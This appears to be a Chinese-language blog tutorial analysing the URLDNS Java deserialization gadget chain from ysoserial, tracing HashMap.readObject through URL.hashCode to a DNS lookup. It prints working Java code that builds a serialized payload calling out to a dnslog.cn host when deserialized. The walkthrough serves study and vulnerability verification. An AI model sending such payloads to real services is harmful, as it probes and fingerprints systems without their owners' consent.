前言
URLDNS是ysoserial序列化中比较简单的一个链,URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法,所以不受jdk版本限制
一、流程
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashcode() ->
URLStreamHandler().hashCode().getHostAddress() -> URLStreamHandler().hashCode() .getHostAddress().getByName()
1 2 3 4 5 6
| 1.HashMap.readObject() 2.HashMap.putVal() 3.HashMap.hash() 4.URL.hashcode() 5.URLStreamHandler().hashCode().getHostAddress() 6.URLStreamHandler().hashCode() .getHostAddress().getByName()
|
二、原理
java.util.HashMap
实现了Serializable
接口,重写了readObject
,在反序列化时会调用hash函数计算key的hashCode
,而java.net.URL
的hashcode
在计算时会调用getHostAddress
来解析域名,从而发出DNS请求。
三、分析
首先给出调试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class URLDNSlog { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { HashMap<URL, Object> hashMap = new HashMap<>(); URL url = new URL("http://mkah20.dnslog.cn"); Field field = url.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(url, 123); hashMap.put(url, 1); field.set(url, -1); new ObjectOutputStream(Files.newOutputStream(Paths.get("bin.ser"))).writeObject(hashMap); Object o = new ObjectInputStream(Files.newInputStream(Paths.get("bin.ser"))).readObject(); System.out.println(o); } }
|
运行结果:域名会出现新的解析记录
具体流程分析
hashMap实现了Serializable接口,重写了readObject和writeObject方法,在序列化和反序列化的时候会优先执行hashMap的readObejct和writeObject
根据链路跟进hashMap.readObject()->putVal()->hash
继续跟进hash中的key.hashCode(),因为这里的key是URL类,所以会调用URL类中的hashCode()方法
跟进URL类中的hashCode()方法:如果当前hash值为-1(-1是默认值),调用handler的hashCode()对hashCode进行一次hash,再返回;如果当前的hash值不是-1,则直接返回该hash值
继续跟进handler中的hashCode()方法,这里出现了getHostAddress,继续跟进看看
复现代码分析
到这里我们已经了解了通过URL的hashCode触发DNS请求的流程,下面我们再来看看我们的代码是如何实现这个流程的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| HashMap<URL, Object> hashMap = new HashMap<>();
URL url = new URL("http://mkah20.dnslog.cn"); Field field = url.getClass().getDeclaredField("hashCode"); field.setAccessible(true);
field.set(url, 123); hashMap.put(url, 1);
field.set(url, -1);
new ObjectOutputStream(Files.newOutputStream(Paths.get("bin.ser"))).writeObject(hashMap); Object o = new ObjectInputStream(Files.newInputStream(Paths.get("bin.ser"))).readObject(); System.out.println(o);
|
参考:
- https://www.bilibili.com/video/BV1Qe4y1m7G8?t=31.5